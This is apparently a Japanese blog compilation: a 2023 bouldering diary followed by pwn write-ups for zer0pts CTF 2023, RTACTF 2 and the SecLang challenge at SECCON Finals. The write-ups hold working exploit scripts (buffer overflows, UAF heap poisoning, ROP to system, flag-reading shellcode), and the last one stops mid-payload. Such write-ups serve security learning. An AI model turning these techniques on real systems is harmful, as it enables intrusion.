御殿下ボルダリング壁日誌2023

壁2023

ボルダリングを7月から始めた。あんまりちゃんとメモをしていなかったが、TSGのslackに雑に投稿していた情報をまとめてみようと思う。なのでこれは TSG Advent Calendar 2023 - Adventarの記事となります。

実はちょうど今日でボルダリングを始めてからちょうど5ヶ月。つまり、7月4日にボルダリングを始めた。

なお御殿下の2023年現在の課題は(ネタバレを含みますが)攻略!御殿下 | 御殿下ボルダリングを参照してください(以降、簡単に課題について参照するので興味があれば)

7月4日:初めて壁に登る

sh-mugに誘われて、御殿下のボルダリング講習会を受ける。

この日は7~8級と6級の垂壁の緑■が登れただけでスタートした。

7月6日:チョークを買う

7月18日:秋パンに初めて行く

potetisensei/sh-mugと行った。あんま覚えてないけど6級をちょっと登る程度だったはず

7月29日

ヤモリを自認

8月5日

秋パンの6級が2/3くらい登れるようになったらしい

8月8日

御殿下の垂壁の6級がすべて登れるようになる。順序はT -> Iだったはずで、Tはこの日以前のどこかで登れていたはず。Iはムーブが本質で、ムーブを教えてもらったのでできるようになった

8月12日:秋パン

3個くらい登れない6級がある

8月24日:初NOBOROCK渋谷

3級が登れたらしい

8月27日:NOBOROCK再訪

8月29日:6級V完登

9月12日:秋パン5級1つ完登

この日potetisenseiと一緒に秋パン行って、ムーブ本質の5級を一個登ったはずだが、スクショがこれしかなかった

9月20日:秋パン5級2つ

28tomabouと登った。

ちなみに同日に江添さんが登っていて、目撃した

www.youtube.com

9月26日:傾斜壁の6級■がまだ登れない

今になって思うがこの課題が本当にヤバいです。秋パンのむずい5級はある。とにかくホールドの摩擦がなくなっているのと、普通に本質がむずい。御殿下が難しいと言われる所以たる課題だと思う。

ちなみに、現在の御殿下の課題は来年2月に無くなるらしいので、今のうちに挑戦してくれ

9月29日:御殿下6級全完

10月2日:NOBOROCK渋谷

2級を2つほどらしい

NOBOROCKに関しては、混んでる時にしか行ったことがなくあんまり挑戦回数が増やせないのでよく分からん

10月6日:5級x、5級-完登

xは正直今でも気を抜くと最後の本質の保持に失敗する

10月8日~10月9日

Google CTF及び関連イベントで訪日していた tsuroさんや、sirdarckcatさんらGoogle Securityチーム御一行と(連日)秋パンへ行く。たのしい

ちなみにtsuroさんと登っているときはなんか緊張して全然登れなかった

10月12日:5級V完登

10月19日:秋パン

この辺で5級はまあ半分は登れるかなという感じだったと思う

10月21日:秋パンで初4級完登

3階奥のスラブ

10月28日:御殿下4級-完登

まだ5級が一つ登れていないが、先に4級を一つ落とした。ムーブが分かると(怖いが)簡単

10月30日:御殿下4級垂壁の■完登

最後ややランジがある。やってると派手なので、ちょっと楽しいが、落ちると結構高いところから落ちることになるので怖い。

というか御殿下は、ゴール取り本質が多すぎる。ほとんどそうじゃないか?? 高いところから落とさないで欲しい 🥺

11月6日

御殿下最後の5級がなかなか登れない。が御殿下の課題は意外と本質が複数あったりするので少しずつ進捗が感じられる良さもある

11月10日

potetisenseiらと登る。秋パンの4級を3つほど登った。

個人的感覚では 秋パン6級 > 御殿下6級(傾斜壁■以外)> 御殿下5級 ≒ 秋パン5級 > 御殿下6級傾斜壁■ > 御殿下4級 > 秋パン4級

という感じがある。6級がとにかく難しめで、これのおかげで初心者お断りになり、御殿下壁が空いている気がする(ありがとう)。 や、まあそういう壁で成長する人間もまたいるんですが

11月13日:御殿下5級全完

御殿下5級■が登れた。

この課題、僕だけかもしれないが、左手前腕をめちゃくちゃ擦るんですよね。まだ傷跡が癒えてません

bsky.app

11月27日

傾斜壁4級の■がバラしではできたが、この課題ずっと力入れていてしんどく最後にヨレてしまう

11月29日:秋パン

新しく4級を一つクリアする。現在は、基本的に4級に挑戦しているが、秋パンの4級は多くがまだ手が届かない感じがある。

12月1日

これが最近登った最後。

追記:12月4日

今日登ったら、傾斜壁4級の■ができた

まとめ

結局のところ現状御殿下は4級2つ完登、1つは目処はついた状態4級3つ完登、最後の1つは、初手がきついといった感じ。 研究室から徒歩2分程度なのでついつい行ってしまうし、進捗が出るので精神に良い。

あとはコミュニティ課題(と呼んでいるが、青いファイルに乗っている、有志が作った課題)にもいくつか面白いのがあって紹介したいんだが、ネットに情報が無いので参照ができない、悲しい。 そういう、ちょっとアナログなところもいいですよね。 コミュニティ課題の中にはちょっと異常(というか、できるのか?と思う)な課題もあって、これは作者に正解を教えてもらいたい感じもある。 もっといえば自分で課題を作りたいので壁の写真が欲しい。これは講習会中の委員の人を捕まえれば良いのかな。御殿下は(プライバシー保護もあり?)写真禁止で、自分がどう登っているのかを客観的に見ることができないのは不満点ではある。

噂によれば、来年の2月に課題が入れ替えられて簡単にすることを目指しているらしい。御殿下の現行の壁は難しくはあるが打ち込みがいがあって楽しい *1 ので、そういった課題が次もたくさんあることを願うばかりである。

*1:slackのログを見る限りでは、それから45回ボルダリングをしたらしい。

zer0pts CTF 2023 writeup

開催ありがとうございました。 TSGで参加して、14位だったらしい。pwnのaush, qjail, WISEを解いたのでそれのwriteupです。

aush (99pts 101solves)

ちょうど良いwarmupだった

  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };


   /* 略 */

  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

となっており、オーバーフローが自明にできる。inpuserをオーバーフローしてusernameからpasswordまで書き換えれば終わりかと思ったが、どうやらusernameの方がバッファとしてstackの上に取られる模様。つまりusernameが当てられないと即execveされてしまう。

これを回避するためにenvpをinvalidなpointerにすることで、syscallを失敗させる。実際バッファオーバーフローは十分大きいので、環境変数を破壊することができる。

payload_1 = b"A" * 0x198 + b"\xff\xff"
payload_2 = b"A" * (0x198 - 0x20 - 0x20) + b"\x00\x00"

rs(payload_1, new_line=False)
wait_for_attach()
rs(payload_2, new_line=False)
interactive()

github.com

qjail (146pts 42solves)

Qilingというbinary instrumentationツールを用いたsandbox

以下のようなsandbox

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

を使って次の自明なBoFがあるプログラムを動かす

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

ただしchecksecが

ubuntu@ip-172-31-24-131:~/zer0pts_23/qjail/bin$ checksec --file=vuln
[*] '/home/ubuntu/zer0pts_23/qjail/bin/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

なので、かなり不可能そうな見た目。 ただQilingについて調べると(こういうエミュレーターソフトウェアあるあるだが)

  • canaryは0xaaaaaaaaaaaaaa00固定
  • ASLRなし
  • stackが実行可能

ということがわかったので、stackにshellcode流して、retアドレス書き換えによるRIP制御で飛ばせば良いことがわかる。 最後の問題は、 qiling.Qiling(cmd, console=False, rootfs='.') と実行されており、rootfsが.にあるので、 /flag.txt が読めない点だが、 これは *1 openatをしつつ絶対パスを渡すことで回避できるバグが今でも存在するので、それをすればよい。

main = 0x7fffb7dd71a9
canary = b"\x00aaaaaaa"
canary_addr = 0x80000000dd48
flagbuf = 0x80000000dc40
databuf = 0x80000000db40

payload = b"/flag.txt" + b"\x00" * 7
payload_addr = flagbuf + len(payload)
print(hex(payload_addr))

asm_payload = f"""
mov rdi, 1
mov rsi, {flagbuf}
mov rdx, 0
mov rax, 257
syscall
mov rdi, rax
mov rsi, {databuf}
mov rdx, 100
xor rax, rax
syscall
mov rdi, 1
mov rsi, {databuf}
mov rdx, 100
mov rax, 1
syscall
"""
asm_payload_bin = asm(asm_payload)
print("len: ", hex(len(asm_payload_bin)))
assert(len(asm_payload_bin) < 0x80)

payload += asm_payload_bin
payload += b"A" * (0x108 - len(payload))
payload += canary
payload += p64(payload_addr)
payload += p64(payload_addr)

recvuntil(b"Enter something")
sendline(payload)
#with open("../qjail_solver/payload", "wb") as f:
interactive()

github.com

WISE (304pts 8solves)

Crystalで書かれた簡単なnoteアプリのpwn。 ソースコードは以下に示すように短くバグも明らかで、iterator invalidationチックな、listサイズのreallocationに付随して起こるUAFが存在する。ただ、Crystalとかいう謎言語のpwnなので、ここからが難しい。 *2

suspect = nil
id_list = [] of UInt64
name_list = [] of String

puts "1. Add new citizen",
     "2. Update personal information",
     "3. Print list of citizen",
     "4. Mark as spy",
     "5. Give memorable ID to spy",
     "6. Print information of spy"

loop do
  print "> "
  STDOUT.flush
  case gets.not_nil!.chomp.to_i
  when 1
    id = Random.rand(UInt64)
    print "Name of person: "
    STDOUT.flush
    name = gets.not_nil!.chomp

    id_list.push(id)
    name_list.push(name)
    puts "ID: #{id}"

  when 2
    print "ID: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      print "New name: "
      STDOUT.flush
      name_list[index] = gets.not_nil!.chomp
    end

  when 3
    id_list.zip(name_list) { | id, name |
      puts "----------------",
           "ID: #{id}",
           "Name: #{name}"
    }

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

  when 5
    if suspect.nil?
      puts "[-] No spy marked"
    else
      print "New ID: "
      STDOUT.flush
      suspect.value = gets.not_nil!.chomp.to_u64
    end

  when 6
    if suspect.nil?
      puts "[-] No spy marked"
    else
      puts "ID: #{suspect.value}"
      index = id_list.index suspect.value
      if index.nil?
        puts "Name: <unknown>"
      else
        puts "Name: #{name_list[index]}"
      end
    end

  else
    break
  end
end

メニューの各機能の概要は次の通り

  1. 任意長の名前で人を登録。64bit のIDが付与される
  2. IDを指定して名前を更新
  3. 登録されている人のリストを表示
  4. IDを指定して、suspectな人のint_listのエントリへのpointerを得る
  5. suspectなpointerに値を代入
  6. suspectなpointerから値を読む

試行錯誤 + libgcソースコードリーディングの結果、特に細かなチェックは存在しないので、雑にfreelistにつないだバッファをUAFをしてpoisoningするだけとわかる。そのためのおおまかな工程は以下の通り

  1. 十分大きなサイズのid_listを作る
  2. id_listの0番目をsuspect
  3. id_listのサイズを増やして、元のid_listをfree -> id_listがfree listへつながる
  4. suspectへのwriteを使ってfree listのfdをid_list自身を含む場所に書き換える(これを後ほどmallocする)
  5. 3でfreeしたid_listと同じサイズの名前で人を2回addし、id_listを上書き。id_list bufを自分自身にする
  6. メニューの3と5と6を利用してAAR (program base / libc_base / stack addressのリーク)
  7. 最後に4と5でポインタを移動させてROPを組む

ただ、随所でCrystalの気持ちを読む必要があり、それは気合 *3

def add(name):
  menu(1)
  rs(name)
  recvuntil(b"ID: ")
  return int(recvline())

def update(id, name):
  menu(2)
  rs(str(id).encode("ascii"))
  rs(name)

def get_info():
    recvuntil(b"ID: ")
    id = int(recvline())
    recvuntil(b"Name: ")
    name = recvline()
    return (id, name)

def print_list(do_print=False):
    menu(3)
    citizens = []
    while True:
      if recv(1).startswith(b">"):
          break
      (id, name) = get_info()
      if do_print:
          print(f"{id}: {name}")
      citizens.append((id, name))
    sendline(b"3")
    return citizens

def mark(id):
  menu(4)
  rs(str(id).encode("ascii"))
  #recvuntil(b"[+] Marked '")
  #name = recvuntil(b"'")
  #return name

def give_id(id):
  menu(5)
  rs(str(id).encode("ascii"))

def print_spy():
    menu(6)
    return get_info()

"""
a_id = add("A")
b_id = add("B")
update(b_id, "BB")
print_list()
c_id = add("C")
s = mark(c_id)
print(s)
assert(mark(c_id) == b"C")
give_id(123)
assert(print_spy()[0] == 123)
"""

a_id = add("A")
print(f"a_id: {hex(a_id)}")
mark(a_id)
for i in range(3):
    add("A")

heap_base = print_spy()[0]
print(f"heap_addr: {hex(heap_base)}")
#array_buf_addr = heap_base + 0x1a00
#string_array_addr =
#string_array = heap_base - 0x4100
#print(f"array_buf_addr: {hex(array_buf_addr)}")
#print(f"string_array: {hex(string_array)}")
int_array = heap_base - 0x30e0
string_array = int_array - 0x20
print(f"int_array: {hex(int_array)}")

for i in range(39):
    add("A")
mark(a_id)
print(print_spy())
for i in range(5):
    add("A")
add("A")
wait_for_attach()
add("A")
print(print_spy())

wait_for_attach()

target = int_array + 32 - 0x1b0 + 0x10
print(f"target: {hex(target)}")
# print(target)
# interactive()
give_id(target)
add("A" * 0x1b0)
wait_for_attach()
victim = heap_base + 0x13f20

def to_h(x):
    return x - 0x7f7e4eb5ef80 + heap_base
'''
0x7f7e4eb5be40:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be50:   0x00007f7e4eb60ed0  0x0000000000000000
0x7f7e4eb5be60:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be70:   0x00007f7e4eb60f00  0x0000000000000000
0x7f7e4eb5be80:   0x0000003100000004  0x0000000000000060
0x7f7e4eb5be90:   0x00007f7e4eb79c80  0x0000000000000000
0x7f7e4eb5bea0:   0x000000310000001a  0x0000000000000060
0x7f7e4eb5beb0:   0x00007f7e4eb78c80  0x0000000000000000
'''
payload = [
  0x000000000000008b, 0x0000000400000001,
  to_h(0x00007f7e4eb60ed0), 0,
  0x000000030000008b, 0x0000000400000000,
  to_h(0x00007f7e4eb60f00), 0x0000000000000000,
  0x0000000400000004, 0x0000000000000060,
  to_h(0x00007f7e4eb79c80), 0x0000000000000000,
  0x000000040000001a, 0x0000000000000060,
  to_h(0x00007f7e4eb78c80), 0x0000000000000000,
  0x000000000000008b, 0x0000000000000000
]
payload[-4] = int_array
payload = b''.join(map(p64, payload))
payload = b"\x00" * (0x1b0 - len(payload) - 12) + payload
add(payload)

mark(int_array)
prog_addr = heap_base - 0x15c0
give_id(prog_addr)
#interactive()

update(0, "hoge")
l = print_list(do_print=False)
prog_base = l[0][0] - 0x103e10
print(f"prog_base: {hex(prog_base)}")

printf_got = prog_base + 0x129c10
give_id(printf_got)
l = print_list(do_print=False)
if is_gaibu:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60
else:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60

pop_rdi_ret = prog_base + 0x5dbc4
ret = pop_rdi_ret + 1

print(f"libc_base: {hex(libc_base)}")

give_id(environ)
l = print_list(do_print=False)
stack_addr = l[0][0]
print(f"stack_addr: {hex(stack_addr)}")

ret_addr = stack_addr - 0x190
current_val = prog_base + 0xea1a9
give_id(ret_addr)
mark(current_val)
give_id(pop_rdi_ret)
mark(0)
give_id(binsh)
mark(0)
give_id(ret)
mark(0)
give_id(system)

print(f"stack: {hex(ret_addr)}")
print(f"current_val: {hex(current_val)}")


interactive()

github.com

感想

DEF CONを除くと(?)、今年始めてのまともに参加したCTFかもしれない(ある程度は追ってはいたが、フルには参加していなかった)。CTFを久々にやると、定数倍解くのが遅くなるといった感じがあり、flippersあたりまで本当は手が出せるとよかったなあという感じ。

BrainJITやmimikyuにも微妙にちゃちゃを出したもののそれらと上で解いた問題以外はほとんど知らないが、基本的に問題に必要な最小限の実装と、ソースコードの提供があり、ストレスの無いCTFで体験が本当に良かった(まあこれはzer0pts CTFとしては、いつものことでもある(?)が)。運営お疲れ様でした。

*1:smallkirbyが Qiling Sandbox Escape | Kalmarunionen というwriteupを引っ張ってきてくれた

*2:弊チームには、AtCoder LibraryのCrystal版 を書くほどのCrystal使いであるところの 博多市 がいるので、当然Crystalのheap allocatorの動作にも詳しいはずと思って聞いたが教えてくれなかった。

*3:id_list上書きのとき付随して上書きされてしまうstringに関するメタデータ(String型の値は HEADER + bufferみたいな形をしている)が結構厄介で、なんか知らんけど適当に上書きすると色々動かず、また使われていそうな場所をexactに書き換えても動かず試行錯誤した結果 https://gist.github.com/moratorium08/29014b181fc3cab7181f7e361bc74fb4#file-wise-py-L239 にあるようになぜか1な場所を0にすると動いたりした。また小さいバッファはto_u64はgetsなどで結構使われているので、大きめのid_listをUAFに使わないといけない

RTACTF 2で走者として走りました🏃

実は3日前まで走ることを知らなかった

なぜか走者として走ることが決まっていた・o・

RTA CTF

RTA CTFは、~30分程度で解くことが可能な比較的簡単な問題を、どれだけ高速に問題を解くことができるかを競うものです。 特に、競技者は、リアルタイムで解く様子の画面配信を行い、解説者はそれについての解説を行います。 大会の様子はyoutubeアーカイブから見ることができるのでぜひチェックしてみてください。

www.youtube.com

僕は、pwnableの問題の走者として参加しました。もはや(CTFやってなさすぎる)僕より適任者いると思うので多分今回でクビになると思います。

また、以下ネタバレを含みます が、もしネタバレなしで挑戦したい場合数日中はサーバーが動いていると思うので、ぜひ挑戦してみてください!(そんな時間かからないと思うので暇つぶしにとても良いと思う)

RTACTF 2023

RTA CTFの走者のつらさ

沼るとそれが全世界に公開されて、つらい。

正直今これをやったら本当にガチで配信を冷やしてしまうと思っていたので、正直拒否しようかとすら思った。

まあ耐えたのか耐えてないのかは知らないですが、とりあえず一定程度走ったのでいかにwriteupをまとめます。

writeup

before-write

BOF & win関数(shellを実行してくれる関数)あり、PIE & canaryなしなので、単にリターンアドレスを書き換えれば良い。

payload = p64(0x4011b6) * 20
recvuntil("value")
sendline(payload)
interactive()

rta1.py · GitHub

ファイルのダウンロードからの展開や解析にやや手間取ったがほぼつっかえずに解くことができた。

✔129.69 sec

write

bssにある配列arrayの配列外参照による書き込みができる。 Partial RELROだが、一瞬何を書き換えるねんとなる。 以下のプログラムをよく見ると

ssize_t array[10];

/* 省略 */

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

getvalでBOFが存在するので、オーバーフローをしながら数字を入力させて、_stackなんとかを呼び出させつつそいつのGoTを書き換えて、winを呼び出せば良いとわかる

問題はここからで、沼ったポイントとして、事前に用意しておいたショートカット用スクリプトのテストをちゃんとしていなかったら、そこでややバグらせが発生しており、時間をつぶしてしまった。負け。

win = 0x4011b6

idx = 0x60 // 8
idx = -idx
print(idx)
rs(str(idx).encode("ascii") )
wait_for_attach()
rs(str(win).encode("ascii") + p64(0) + b" " * 1000)
interactive()

rta1.py · GitHub

想定時間内にとき終わらなかった🥹

❌902.50 sec

read-write

3回書き込みか読み込みができる。Full Relroだが、no PIE。

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

第一感としてはlibcのアドレスはGOTから雑にリークできるので、最終的にはlibcのGOT書き換えあたりをしたいなあという感情になる。ただlibcのGOT周りは使われている関数が弱そうなあたりとこういうのしていると沼りそうだなあというあたりで、ちょっと困っていたが、冷静に考えるとlibcアドレスリークからのenvironによるstackアドレスリークで、リターンアドレスを書き換えてのRCEで良さそうとなる。

array_addr = 0x404040
win_addr = 0x4011d6

idx1 = str(-0x80 // 8)

rs(str(1), r="> ")
rs(str(idx1).encode("ascii") )
libc_addr = int(recvline())
environ = libc_addr + 0x10c7e0

print(hex(environ))
idx2 = (environ - array_addr) // 8
print("idx2: ", idx2)
rs("1", r="> ")
rs(str(idx2).encode("ascii") )
stack_addr = int(recvline())
print(hex(stack_addr))

ret_addr = stack_addr - 0x120
print(hex(ret_addr))

idx2 = (ret_addr - array_addr) // 8
print("idx2: ", idx2)
rs("2", r="> ")
rs(str(idx2).encode("ascii") )
wait_for_attach()
rs(str(win_addr))
print(hex(stack_addr))

フルのソルバー: rta1.py · GitHub

✔802.53 seconds

only-read

タイトルが示唆するように、無限回試行ができるようになった代わりに、write機能が消される。ひどい。

int main() {
  size_t array[10] = {};

  for (;;) {
    ssize_t index = getval("index: ");
    if (index >= 10) break;
    printval(array[index]);
  }

  return 0;
}

しかも地味になぜかarrayがstackに移されている。その上でarrayの+方向へのover readはできなくなっている。

ここで、まだgetvalにBoFが残されていることを思い出す。

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

checksecを見直すとcanaryがあるため雑なBoFはできないが、書き込める系脆弱性がこのBoFしかなさそうなことを考えると、なんとかcanaryをリークできないかという気持ちになる。 正直最初の感覚としてはstackの上の方に落ちてへんかなと思ったが、ちゃんとこれはマクロを通してgetvalが実装されていることもあり、stackの上の方にはcanaryは落ちていなかった。

そうすると、できそうなことは気合のmaster canary readで、これは(実際あとの方で悩まされることになるが)offset周り等でちょっと面倒になりそうで嫌だなとは思ったものの他に何も思いつかなかったのでこれで突撃した。

あとは、基本的にstackの上に落ちているいい感じのポインタ探しをすると、master canaryのポインターをなんとかリークできる。

rs(str(-0xe40 // 8))
nazo_addr = int(recvline())
print("nazo_addr", hex(nazo_addr))
#canary_addr = nazo_addr - 0x2389d8
canary_addr = nazo_addr - 0x2389d8 + 0x1000 * diff
print("canary_addr", hex(canary_addr))

stack_addr = rs(str(-2))
stack_addr = int(recvline())
print("stack", hex(stack_addr))

array_addr = stack_addr - 0x5f
print("array_addr", hex(array_addr))

idx = (canary_addr - array_addr) // 8
rs(str(idx))
canary = int(recvline())
print("canary: ", hex(canary))

あとはBoFからのwin関数呼ぶだけかと思いきや、winがない。まあいうてROPするだけでは、となったが、ここでガチの沼にはまる。 ライブ的には、 https://www.youtube.com/live/c8Q5yB3w5Og?feature=share&t=4629

いつもの、実家のような安心感という気持ちで、rp++(をラップしたスクリプト)を叩くと、、、

libcにpop rdi; retがない!「そんなわけある?」「いやでも最近CTFしてないし世情に疎いな」「現代のlibcはこんな謎mitigationをしていてもおかしくないかもしれない」などの迷思考にハマり、ROPチェーンが雑に組めないことに絶望する。

そのままゲーム終了。終了後、「普通にpop rdi; retありますよ笑」と言われ、rp++がバグっていたことが判明する *1

github.com

そんなことある? 感動しました

--uniqueを無くしたらいっぱい表示されました

最後、微妙にサーバー上のアドレスオフセットをguessする動作が必要になったが、基本的にはそのまま解ける

rta1.py · GitHub

❌5317.45 seconds

感想

本当に体力の消費がやばい。

スコアボードにフラグを登録するときに誰もいなかったときは気持ちがいい。(配信用にDiscordの隔離部屋につないでいるのだが)競争相手が隔離部屋からいなくなると焦りがやばい。

あと普通によくわからないバグが起きたとき(例えば上の自分のテンプレートに謎バグがあったときなど)、割とある種のパニックみたいになる。普段なら腰を据えて、さあコーヒーでも飲んでデバッグするか、となるところが、それを許されない状況なので。

なかなか過酷なイベントだが、振り返ってみると走者としては楽しかったです。運営おつかれさまでした & ありがとうございました。

*1:pwnyaaさんが教えてくれた: https://twitter.com/pwnyaa/status/1638084052107563008

SECCON Finals WriteUp (SecLang, Heptarchy)

KoH + Jeopardyという問題構成。KoHは3問あり、1日目に1問、2日目に2問出題された。1日目の問題はpwn色の強い問題、2日目はrevとcrypto(?)っぽい問題。 KoHには昼間の間取り組むことが可能であり、Jeopardyは2日間共通だったため家で取り組むことができた。

なおTSGのメンバーとしてinternationalの方に参加させてもらったものの順位は... *1

KoH SecLang (Pwn)

概要

Pythonで書かれた独自言語のコンパイラが与えられる。

競技者は次の2つのことをすることが可能 1. コンパイラにパッチを当てバグを修正する。 2. 他チームのコンパイラのunsound holeを攻撃する。

5分に1回、コンパイラが正しく動作しているかのテストが走り点数が加算される他、他人のコンパイラでRCEに成功してフラグが盗めた場合、点数を得ることができる。

また、他人のコンパイラの攻撃に対するfeedbackとして、コンパイル結果のアセンブリが得られる。これによって、他のチームのコンパイラにどういうmitigationが入っているのかをある程度推察することができる(これに基づいて、チームごとにカスタムした攻撃プログラムを書くことができる)。

コンパイラの実装

言語としては何likeなといえばいいかわからないが、強いて言えば言語仕様はPythonに近い。Pythonのコードを与えられてコンパイルしてx86_64 asmにする(バグりまくりの *2コンパイラが与えられたといえばだいたい正しい。 プログラム例としては、配布されたサンプルとしてフィボナッチ数を計算するプログラムは次のようになる。

func fib(n) {
  if n <= 0 { return 0; }
  if n == 1 { return 1; }
  if n == 2 { return 1; }
  return fib(n-1) + fib(n-2);
}

func main() {
  print("n = ");
  n = scan();
  if n > 20 {
    print("n is too big!\n");
    exit(1);
  }
  print("fib(");
  print(n);
  print(") = ");
  print(fib(n));
  print("\n");
}

コンパイラがやっていることは、

  1. parseしてASTを得る
  2. ASTを歩いて、各exprから対応するアセンブリを生成する

であってとても単純。

例えば、x + 4 という式に対しては、x4アセンブリを生成し、結果がstack上に配置(値と型タグのpair)されているので、それらをpopし、add(sub)した結果をpushする。

    def add_expr(self, tree):
        """Add/Sub operator
        x+y, x-y
        """
        if len(tree.children) == 1:
            self.visit(tree.children[0])
        else:
            self.visit(tree.children[0])
            op = tree.children[1]
            self.visit(tree.children[2])
            self.code.pop_value('rdx', 'rbx')
            self.code.pop_value('rax')
            if op == '+':
                self.code.text(["add rax, rdx"])
            elif op == '-':
                self.code.text(["sub rax, rdx"])
            else:
                raise CompileError("Unreachable")
            self.code.push_value('rax', 'rbx')

コンパイラのバグ

このコンパイラには色々なバグが含まれている

type confusion

func one() {
  return 1;
}
func main() {
  print(one + 0);
}

関数と整数を足し算すると、その結果を整数として手に入れることができる。

func main() {
  x = 1;
  x();
}

逆に、整数を関数として使うことができることも

配列外参照

func main() {
  x = [1, 3];
  x[10000] = 1;
}

セグフォ

配列の "UAF"

call stackの上の方で配列を作って返すと、UAF的に

func f() {
  x = [1; 3];
  return x;
}
func main() {
  x = f();
  print(x[0]);
}

これはセグフォ

引数の数

func f() {
return 5;
}
func main() {
  x = 1;
  x = f(2, 3, 4);
  print(x);
}

これは5を返す。

などなどのバグが有り、これらを利用して、サーバー上の/flag.txtを得ることを目指す。*3

writeup

このバイナリでは、stackがrwxなので、シェルコードをここにおいて実行すれば良いことがわかる。シェルコードは単にopen -> read -> writeをするものを作れば良い。 基本方針は、配列を用いてこのガジェットをstack上に配置し、type confusionを用いて、このstack上のポインタを"呼び出す"。

payload 1

チームによってmitigationが異なったので、微妙にpayloadを変えている。まず、ほとんどのチームに刺さるのが

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 1];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    wai = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
wai[0] = uouo_addr;
f = tof(wai[0]);
f(fib_addr);
}

というpayload。これは、配列外参照を用いてtype confusionを起こしている。 ちなみに、一度waiという配列に入れてから取り出しているのは、関数呼び出し時の型チェックを回避するため(これは比較的実装しやすい)。 効いていたかはあんまちゃんと調べてないからわからない。

また「fib」とかいているのは、実は「flag」の意味で、悪い人間がflagという文字列を書いたら落とすようにしてたりしそうだと思ったので置換した。

payload 2

上の例では配列外参照を用いているが、実はこれはパッチしやすい。実際Dice Gang、Super Guessrは早々にこれに気づいてパッチしていた模様(悔しい)。 とはいえ、この2チームは 「整数 + 配列」のtype confusionには対処していなかったので、これを用いてtoi/tofを実装すると、攻撃できた

func toi(x) {
    return x + 0;
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = fibtxt + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = uouo + 16;
peko[0] = uouo_addr;
f = peko[0];
f(fib_addr);
}

足し算でのtype confusionを用いて配列外参照なしで、exploitしている。

payload 3

これはhxp専用。なんでかしらんけど(忘れた)、type checkしている?っぽいし、配列外参照も気にしている?っぽい?よく分からん。なんかでもこれでpwnできた。一番目だとpwnできない(はず)。

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
